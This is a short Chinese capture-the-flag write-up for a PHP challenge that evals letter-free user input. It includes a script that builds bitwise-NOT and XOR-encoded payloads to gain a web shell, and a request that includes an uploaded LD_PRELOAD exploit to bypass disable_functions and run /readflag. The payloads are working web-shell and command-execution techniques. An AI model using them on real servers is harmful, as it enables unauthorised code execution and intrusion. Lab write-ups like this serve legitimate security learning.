无字符webshell
绕过disable_functions
提权
<?php
error_reporting(0);
if(isset($_GET[‘code‘])){
$code=$_GET[‘code‘];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
很明显无字符webshell,百度学习了下,我们可以通过取反加url加密构造结果,脚本如下:
<?php
error_reporting(0);
$a=‘assert‘;
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c=‘(eval($_POST["test"]))‘;
$d=urlencode(~$c);
echo $d;
?>
直接:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6)
蚂蚁的剑连接,发现flag文件为空,所以我们需要执行readflag shell读取,但是因为限制了很多函数,所以我们需要绕过disable_functions
,通过https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
获得exp
在/var/tmp/目录存在上传权限,上传我们的exp
包含我们的exp执行命令
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
得到flag
原文:https://www.cnblogs.com/w0s1np/p/14530705.html